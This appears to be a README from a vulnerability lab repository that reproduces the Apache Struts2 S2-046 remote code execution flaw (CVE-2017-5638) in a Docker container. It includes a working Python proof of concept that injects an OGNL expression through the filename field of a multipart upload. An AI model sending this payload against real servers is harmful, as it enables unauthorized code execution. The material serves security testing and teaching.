Aaron
63285f61aa
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58 lines
1.7 KiB
Markdown
58 lines
1.7 KiB
Markdown
# S2-046 Remote Code Execution Vulnerablity（CVE-2017-5638）
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[中文版本(Chinese version)](README.zh-cn.md)
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Affected Version: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
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References:
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- https://cwiki.apache.org/confluence/display/WW/S2-046
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- https://xz.aliyun.com/t/221
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## Setup
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Execute the following command to start the Struts2 2.3.30：
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```
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docker compose up -d
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```
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After the container is running, visit `http://your-ip:8080` that you can see an example of the upload page.
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## Exploitation
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As same as S2-045, S2-046 is also the OGNL injection but occurs at filename field of the upload request, and a NUL byte is needed to split payload and the remaining strings.
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A simple Python POC for Verifying the vulnerability:
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```python
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import socket
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q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
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Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
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Content-Type: text/plain
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foo
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------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
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p = b'''POST / HTTP/1.1
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Host: localhost:8080
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.8,es;q=0.6
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Connection: close
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
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Content-Length: %d
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'''.replace(b'\n', b'\r\n') % (len(q), )
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with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
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conn.send(p + q)
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print(conn.recv(10240).decode())
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```
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`233*233` has been successfully executed:
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